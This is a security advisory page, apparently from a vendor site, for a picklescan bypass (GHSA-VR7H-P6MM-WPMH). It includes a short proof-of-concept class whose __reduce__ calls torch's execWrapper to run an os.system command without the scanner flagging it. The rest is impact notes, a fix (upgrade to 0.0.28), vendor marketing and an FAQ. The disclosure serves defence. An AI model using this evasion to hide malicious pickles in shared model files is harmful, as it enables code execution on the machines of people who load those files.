GHSA-VR7H-P6MM-WPMH

GHSA-VR7H-P6MM-WPMH is a medium-severity security vulnerability in picklescan (pip), affecting versions <= 0.0.27. It is fixed in 0.0.28.

Summary

Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC


import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops

class EvilTorchJitUnsupportedTensorOpsExecWrapper:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        glob = {}
        loc = {}
        return unsupported_tensor_ops.execWrapper, (code, glob, loc)

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Affected versions

picklescan (<= 0.0.27)

Security releases

picklescan → 0.0.28 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade picklescan to 0.0.28 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-VR7H-P6MM-WPMH? GHSA-VR7H-P6MM-WPMH is a medium-severity security vulnerability in picklescan (pip), affecting versions <= 0.0.27. It is fixed in 0.0.28.
  2. Which versions of picklescan are affected by GHSA-VR7H-P6MM-WPMH? picklescan (pip) versions <= 0.0.27 is affected.
  3. Is there a fix for GHSA-VR7H-P6MM-WPMH? Yes. GHSA-VR7H-P6MM-WPMH is fixed in 0.0.28. Upgrade to this version or later.
  4. Is GHSA-VR7H-P6MM-WPMH exploitable, and should I be worried? Whether GHSA-VR7H-P6MM-WPMH is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-VR7H-P6MM-WPMH is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-VR7H-P6MM-WPMH? Upgrade picklescan to 0.0.28 or later.

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